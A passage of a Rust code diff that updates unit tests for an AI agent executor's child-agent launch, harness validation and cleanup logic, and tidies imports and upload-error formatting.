model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let async_result = execute_future.await;
|
||||
let result = app.update(|ctx| on_complete(async_result, ctx));
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Success {
|
||||
agent_id,
|
||||
version,
|
||||
}) if agent_id == run_id && version == StartAgentVersion::V1
|
||||
));
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert!(executor.pending.is_empty());
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_detailed_error_when_child_startup_fails_before_initialization() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Async {
|
||||
execute_future,
|
||||
on_complete,
|
||||
} = execution
|
||||
else {
|
||||
panic!("expected async execution");
|
||||
};
|
||||
|
||||
let child_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.update_conversation_status_with_error(
|
||||
terminal_view_id,
|
||||
child_conversation_id,
|
||||
ConversationStatus::Error,
|
||||
Some(RenderableAIError::other(
|
||||
"Failed to resolve child agent skills: review-comments",
|
||||
false,
|
||||
)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
@@ -170,13 +458,23 @@ fn execute_returns_detailed_error_when_child_startup_fails_before_initialization
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_local_harness_child_requires_orchestration_v2() {
|
||||
fn execute_accepts_local_harness_child_when_parent_run_id_is_available() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
@@ -191,66 +489,31 @@ fn execute_returns_error_when_local_harness_child_requires_orchestration_v2() {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
let AnyActionExecution::Async {
|
||||
execute_future,
|
||||
on_complete,
|
||||
} = execution
|
||||
else {
|
||||
panic!("expected async execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Local harness child agents require orchestration v2."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_rejects_invalid_local_harness_names_before_pane_creation() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
executor.read(&app, |executor, _| {
|
||||
assert!(executor.pending.contains_key(&FIRST_REQUEST_ID));
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Unsupported local child harness 'codex'."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
drop(execute_future);
|
||||
drop(on_complete);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_local_harness_child_missing_parent_run_id() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
@@ -281,14 +544,489 @@ fn execute_returns_error_when_local_harness_child_missing_parent_run_id() {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_remote_opencode_harness_is_requested() {
|
||||
fn execute_rejects_invalid_local_harness_names_before_pane_creation() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("gemini".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Unsupported local child harness 'gemini'."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_rejects_disabled_local_codex_before_other_local_harness_validation() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Local Codex child agents are temporarily disabled."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_allows_local_codex_when_flag_is_enabled() {
|
||||
App::test((), |mut app| async move {
|
||||
let _local_codex = FeatureFlag::LocalClaudeCodexChildHarnesses.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error
|
||||
== "Local harness child agents require the parent run_id to be available."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parallel_dispatch_keeps_two_pendings_distinguishable_by_request_id() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let action_a = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
let action_b = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
executor.update(&mut app, |executor, ctx| {
|
||||
let _: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_a,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
let _: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_b,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
});
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert_eq!(executor.pending.len(), 2, "both pendings should be live");
|
||||
assert!(executor.pending.contains_key(&FIRST_REQUEST_ID));
|
||||
assert!(executor
|
||||
.pending
|
||||
.contains_key(&StartAgentRequestId::from_raw_for_test(1)));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parallel_pendings_each_resolve_independently_via_recorded_child_id() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let action_a = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
let action_b = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
let exec_a = executor.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_a,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
result
|
||||
});
|
||||
let exec_b = executor.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_b,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
result
|
||||
});
|
||||
let (
|
||||
AnyActionExecution::Async {
|
||||
execute_future: future_a,
|
||||
on_complete: complete_a,
|
||||
},
|
||||
AnyActionExecution::Async {
|
||||
execute_future: future_b,
|
||||
on_complete: complete_b,
|
||||
},
|
||||
) = (exec_a, exec_b)
|
||||
else {
|
||||
panic!("expected async executions");
|
||||
};
|
||||
|
||||
let child_a = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent A".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
let child_b = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent B".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(FIRST_REQUEST_ID, child_a, ctx);
|
||||
model.record_new_conversation_request_complete(
|
||||
StartAgentRequestId::from_raw_for_test(1),
|
||||
child_b,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.update_conversation_status_with_error(
|
||||
terminal_view_id,
|
||||
child_b,
|
||||
ConversationStatus::Error,
|
||||
Some(RenderableAIError::other("Agent B init failed", false)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let async_b = future_b.await;
|
||||
let result_b = app.update(|ctx| complete_b(async_b, ctx));
|
||||
assert!(matches!(
|
||||
result_b,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, .. })
|
||||
if error == "Agent B init failed"
|
||||
));
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert_eq!(
|
||||
executor.pending.len(),
|
||||
1,
|
||||
"only child_b's pending should have been removed"
|
||||
);
|
||||
assert!(executor.pending.contains_key(&FIRST_REQUEST_ID));
|
||||
});
|
||||
|
||||
drop(future_a);
|
||||
drop(complete_a);
|
||||
});
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
struct CapturedCleanupEvents(Vec<AIConversationId>);
|
||||
|
||||
impl Entity for CapturedCleanupEvents {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
/// Per-test handles for the launch-cleanup tests, returned by
|
||||
/// [`dispatch_pending_child_launch`].
|
||||
struct PendingChildLaunch {
|
||||
history_model: ModelHandle<BlocklistAIHistoryModel>,
|
||||
captured: ModelHandle<CapturedCleanupEvents>,
|
||||
terminal_view_id: EntityId,
|
||||
child_conversation_id: AIConversationId,
|
||||
}
|
||||
|
||||
/// Dispatches a local child launch and creates (but does not yet link) its
|
||||
/// child conversation, leaving one in-flight pending in the executor with a
|
||||
/// model subscribed to capture `CleanupFailedChildLaunch` events. Tests link
|
||||
/// the child and drive it to a terminal state, then assert on cleanup. The
|
||||
/// returned executor handle must be kept alive for the duration of the test so
|
||||
/// the executor (and its history subscription) is not dropped before the child
|
||||
/// status change is processed.
|
||||
fn dispatch_pending_child_launch(
|
||||
app: &mut App,
|
||||
) -> (PendingChildLaunch, ModelHandle<StartAgentExecutor>) {
|
||||
initialize_history_persistence_for_tests(app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let captured = app.add_model(|_| CapturedCleanupEvents::default());
|
||||
captured.update(app, |_, ctx| {
|
||||
ctx.subscribe_to_model(&executor, |captured, _, event, _ctx| {
|
||||
if let StartAgentExecutorEvent::CleanupFailedChildLaunch { conversation_id } = event {
|
||||
captured.0.push(*conversation_id);
|
||||
}
|
||||
});
|
||||
});
|
||||
let parent_conversation_id = history_model.update(app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
// The pending lives in the executor regardless of the returned execution,
|
||||
// and cleanup is emitted synchronously from the child status update, so the
|
||||
// action-result plumbing is discarded.
|
||||
executor.update(app, |executor, ctx| {
|
||||
let _: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
});
|
||||
let child_conversation_id = history_model.update(app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
(
|
||||
PendingChildLaunch {
|
||||
history_model,
|
||||
captured,
|
||||
terminal_view_id,
|
||||
child_conversation_id,
|
||||
},
|
||||
executor,
|
||||
)
|
||||
}
|
||||
|
||||
/// Links the dispatched child conversation back to its pending request,
|
||||
/// which lets subsequent child status changes resolve the pending.
|
||||
fn link_pending_child(state: &PendingChildLaunch, app: &mut App) {
|
||||
state.history_model.update(app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
state.child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn errored_child_launch_emits_cleanup_event() {
|
||||
App::test((), |mut app| async move {
|
||||
let (state, _executor) = dispatch_pending_child_launch(&mut app);
|
||||
link_pending_child(&state, &mut app);
|
||||
state.history_model.update(&mut app, |model, ctx| {
|
||||
model.update_conversation_status_with_error(
|
||||
state.terminal_view_id,
|
||||
state.child_conversation_id,
|
||||
ConversationStatus::Error,
|
||||
Some(RenderableAIError::other(
|
||||
"Child agent failed to spawn",
|
||||
false,
|
||||
)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
state.captured.read(&app, |captured, _| {
|
||||
assert_eq!(captured.0, vec![state.child_conversation_id]);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn blocked_child_launch_does_not_emit_cleanup_event() {
|
||||
App::test((), |mut app| async move {
|
||||
let (state, _executor) = dispatch_pending_child_launch(&mut app);
|
||||
link_pending_child(&state, &mut app);
|
||||
// A recoverable startup block (e.g. awaiting GitHub auth) keeps its
|
||||
// chip so the user can resolve it.
|
||||
state.history_model.update(&mut app, |model, ctx| {
|
||||
model.update_conversation_status(
|
||||
state.terminal_view_id,
|
||||
state.child_conversation_id,
|
||||
ConversationStatus::Blocked {
|
||||
blocked_action: "GitHub authentication required.".to_string(),
|
||||
},
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
state.captured.read(&app, |captured, _| {
|
||||
assert!(
|
||||
captured.0.is_empty(),
|
||||
"blocked startup should not schedule chip cleanup"
|
||||
);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn successfully_started_child_does_not_emit_cleanup_event() {
|
||||
App::test((), |mut app| async move {
|
||||
let (state, _executor) = dispatch_pending_child_launch(&mut app);
|
||||
// `OrchestrationEventStreamer::new` reads the history singleton, so it
|
||||
// must be registered after the helper registers it.
|
||||
app.add_singleton_model(|_| ServerApiProvider::new_for_test());
|
||||
app.add_singleton_model(OrchestrationEventStreamer::new);
|
||||
// Assigning a run id before linkage marks the child as started, so the
|
||||
// executor resolves the pending as a success, not a launch failure.
|
||||
state.history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
state.child_conversation_id,
|
||||
uuid::Uuid::new_v4().to_string(),
|
||||
None,
|
||||
state.terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
link_pending_child(&state, &mut app);
|
||||
|
||||
state.captured.read(&app, |captured, _| {
|
||||
assert!(
|
||||
captured.0.is_empty(),
|
||||
"a child that started successfully should not be cleaned up"
|
||||
);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_remote_opencode_harness_is_requested() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
@@ -300,6 +1038,7 @@ fn execute_returns_error_when_remote_opencode_harness_is_requested() {
|
||||
worker_host: String::new(),
|
||||
harness_type: "opencode".to_string(),
|
||||
title: String::new(),
|
||||
auth_secret_name: None,
|
||||
},
|
||||
);
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, SuggestNewConversationResult,
|
||||
};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
/// Whether the client accepted or rejected the new conversation. We make this a separate type from
|
||||
/// `SuggestNewConversationResult` for more ergonomic threading of the message_id through
|
||||
/// the various layers of action handling.
|
||||
|
||||
@@ -1,19 +1,17 @@
|
||||
use futures::{channel::oneshot, future::BoxFuture, FutureExt};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxyui::{Entity, ModelContext};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionId, AIAgentActionType,
|
||||
SuggestPromptRequest, SuggestPromptResult,
|
||||
},
|
||||
blocklist::action_model::execute::{
|
||||
ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput,
|
||||
},
|
||||
},
|
||||
AIAgentActionResultType,
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionType, SuggestPromptRequest, SuggestPromptResult,
|
||||
};
|
||||
use crate::ai::blocklist::action_model::execute::{
|
||||
ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput,
|
||||
};
|
||||
use crate::AIAgentActionResultType;
|
||||
|
||||
pub struct PromptSuggestionExecutor {
|
||||
suggest_prompt_result_tx: Option<oneshot::Sender<SuggestPromptResult>>,
|
||||
|
||||
@@ -5,9 +5,13 @@ use std::path::PathBuf;
|
||||
#[path = "upload_artifact_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::{
|
||||
@@ -19,10 +23,17 @@ use crate::{
|
||||
},
|
||||
server::server_api::ServerApiProvider,
|
||||
};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
fn format_upload_artifact_error(err: &anyhow::Error) -> String {
|
||||
let error_chain = format!("{err:#}");
|
||||
|
||||
if error_chain != err.to_string() {
|
||||
format!("Artifact upload failed: {error_chain}")
|
||||
} else {
|
||||
error_chain
|
||||
}
|
||||
}
|
||||
|
||||
pub struct UploadArtifactExecutor {
|
||||
#[cfg_attr(target_family = "wasm", allow(dead_code))]
|
||||
@@ -148,7 +159,7 @@ impl UploadArtifactExecutor {
|
||||
})
|
||||
}
|
||||
Err(err) => AIAgentActionResultType::UploadArtifact(
|
||||
UploadArtifactResult::Error(err.to_string()),
|
||||
UploadArtifactResult::Error(format_upload_artifact_error(&err)),
|
||||
),
|
||||
},
|
||||
)
|
||||
|
||||
@@ -4,18 +4,21 @@ use std::path::{Path, PathBuf};
|
||||
use async_channel::unbounded;
|
||||
use galaxyui::{App, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
UploadArtifactRequest, UploadArtifactResult,
|
||||
};
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryModel, BlocklistAIPermissions};
|
||||
use crate::ai::execution_profiles::{profiles::AIExecutionProfilesModel, ActionPermission};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::ai::execution_profiles::ActionPermission;
|
||||
use crate::ai::mcp::templatable_manager::TemplatableMCPServerManager;
|
||||
use crate::auth::AuthStateProvider;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::network::NetworkStatus;
|
||||
use crate::server::{cloud_objects::update_manager::UpdateManager, sync_queue::SyncQueue};
|
||||
use crate::server::cloud_objects::update_manager::UpdateManager;
|
||||
use crate::server::sync_queue::SyncQueue;
|
||||
use crate::terminal::event::BlockMetadataReceivedEvent;
|
||||
use crate::terminal::model::block::BlockMetadata;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
@@ -25,11 +28,10 @@ use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::ShellLaunchData;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
use crate::workspaces::{team_tester::TeamTesterStatus, user_workspaces::UserWorkspaces};
|
||||
use crate::workspaces::team_tester::TeamTesterStatus;
|
||||
use crate::workspaces::user_workspaces::UserWorkspaces;
|
||||
use crate::LaunchMode;
|
||||
|
||||
use super::*;
|
||||
|
||||
fn build_upload_artifact_action(file_path: &str) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("upload-artifact-action".to_string()),
|
||||
